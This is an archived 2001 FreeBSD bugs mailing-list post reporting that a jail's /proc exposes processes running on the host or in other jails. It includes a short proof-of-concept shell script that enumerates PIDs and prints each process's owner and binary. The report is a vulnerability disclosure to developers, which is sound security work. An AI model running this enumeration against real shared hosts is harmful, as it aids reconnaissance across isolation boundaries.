From owner-freebsd-bugs Sat Oct 27 16:30:41 2001 Delivered-To: freebsd-bugs@freebsd.org Received: from bigglesworth.mail.be.easynet.net (bigglesworth.mail.be.easynet.net [212.100.160.67]) by hub.freebsd.org (Postfix) with ESMTP id EF0F637B401 for ; Sat, 27 Oct 2001 16:30:38 -0700 (PDT) Received: from 212-100-182-27.adsl.easynet.be ([212.100.182.27] helo=venus.core.bsdaemon.be) by bigglesworth.mail.be.easynet.net with smtp (Exim 3.16 #1) id 15xcuO-0001Bh-00 for freebsd-bugs@freebsd.org; Sun, 28 Oct 2001 01:30:32 +0200 Date: Sun, 28 Oct 2001 01:33:29 +0200 From: opr To: freebsd-bugs@freebsd.org Subject: jail's /proc Message-Id: <20011028013329.2b836316.opr@bsdaemon.be> Organization: BSDaemon X-Mailer: Sylpheed version 0.6.1 (GTK+ 1.2.10; i386--freebsd4.3) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org Hello, i really have no clue if i should mail this to you guys, but we've found some issue's in de jail's /proc. We were able to find information about processes running outside the jail, or running in other jails. eg. when i run sshd in the host system, and it has PID 655, i can login on the jail, and by execution "ls -l /proc/665/file" i can see what binary is running on pid 655. So any user of the jail system can see what processes you run on that server. I'm running FreeBSD 4.4-RELEASE on a i386. greetz, Pieter Danhieux Proof of concept shellscript: #!/bin/sh _COUNT=0; while [ $_COUNT -le 65000 ]; do if [ -f /proc/$_COUNT/file ]; then _USER=`/bin/ls -l /proc/$_COUNT/file | cut -d" " -f4`; _PROC=`/bin/ls -l /proc/$_COUNT/file | cut -d" " -f14`; echo "PID= $_TELLER USER= $_USER PROC= $_PROC"; fi _COUNT=`expr $_COUNT + 1`; done ----------------- [www.bsdaemon.be] ----------------- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message